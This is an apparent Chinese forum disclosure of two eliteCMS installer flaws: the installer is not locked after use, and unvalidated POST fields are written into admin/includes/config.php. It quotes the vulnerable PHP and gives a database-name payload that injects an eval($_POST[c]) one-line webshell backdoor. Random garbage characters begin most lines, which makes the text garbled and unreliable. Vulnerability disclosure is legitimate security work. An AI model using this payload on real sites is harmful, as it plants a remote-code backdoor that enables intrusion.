eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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% a+ U2 D( I5 |9 B0 J" ~; d4 S2 j# R另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 J; {6 b6 I5 b& k  C0 l我们来看代码：
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elseif ($_GET['step'] == "4") {
0 G* w3 _5 f6 ]4 V5 g% T, A    $file = "../admin/includes/config.php";
( y0 \- q3 a5 Z! I  L    $write = "<?php\n";
4 ^: ?7 s0 B; |! w* J7 P    $write .= "/**\n";
' j9 S% U# c6 ?3 b% B3 B    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
& G9 i# y. _+ t4 R; I...略...
    $write .= "*\n";
    $write .= "*/\n";
9 f- M! M0 K% q7 b3 v4 [% l    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% I' d$ |4 Z+ u: x* s% q    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
5 e* b# w6 ?( Y" L4 n6 D/ R# w) r    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
+ D/ c$ z: P: d" x    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
2 {1 e* h8 l8 e; k& E    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
0 L1 B3 w3 v5 o& o* e    $write .= "} \n";
! y- E4 F3 U& H$ P3 H+ f/ X" K    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
$ ~! r9 T  k9 h( _. q% e    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
& ~) m$ C6 _/ K/ `    $write .= "        \n";
6 [7 z# i" V: `    $write .= "} \n";
( C2 E, E- v! G( Z' P! x    $write .= "?>\n";
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( W3 |( l1 t$ j: G    $writer = fopen($file, 'w');
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; @- F9 O  Q6 Q; v! y1 l在看代码：
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: }+ [' B  ]  |( _" n- Q$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 C+ V3 i# Q' X, }$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
% ]3 o- o, o! ~: c$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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  @" X/ H, t4 O' l: m取值未作任何验证
5 Z+ U: x9 F3 i) X6 ], O( x% Y如果将数据库名POST数据：

9 L7 t1 \9 h; q) D4 s2 g$ g! e7 o0 S"?><?php eval($_POST[c]);?><?php
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* b' p6 @; ]% a4 p, p: o. m1 q3 b将导致一句话后门写入/admin/includes/config.php